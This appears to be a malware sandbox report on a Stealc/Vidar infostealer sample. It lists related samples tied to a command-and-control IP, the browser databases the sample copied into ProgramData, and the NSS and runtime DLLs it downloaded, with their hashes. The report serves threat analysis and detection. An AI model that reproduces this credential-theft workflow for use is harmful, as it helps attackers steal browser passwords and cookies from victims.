Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	zYlQoif21X.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	hlyG1m5UmO.exe	Get hash	malicious	Stealc, Vidar	Browse
	rmuVYJo33r.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2efOvyn28p.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	hlyG1m5UmO.exe	Get hash	malicious	Stealc, Vidar	Browse
	rmuVYJo33r.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2efOvyn28p.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFIJEHCBAKFCAKFHCGDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFCFBFBFBKFIDHJKFCAFCFBKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBKJJEHCBAKFBFHJKFBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGCFBGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBKJKEHIJECGCBFIJEGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HDAAAAFIIJDBGDGCGDAKFIDGID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCFIECAAAKEGCFIEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJKFBKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKKJEHCGCGDAAAKFHJKJJJDHDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: hlyG1m5UmO.exe, Detection: malicious, Browse Filename: rmuVYJo33r.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 2efOvyn28p.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: hlyG1m5UmO.exe, Detection: malicious, Browse Filename: rmuVYJo33r.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 2efOvyn28p.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
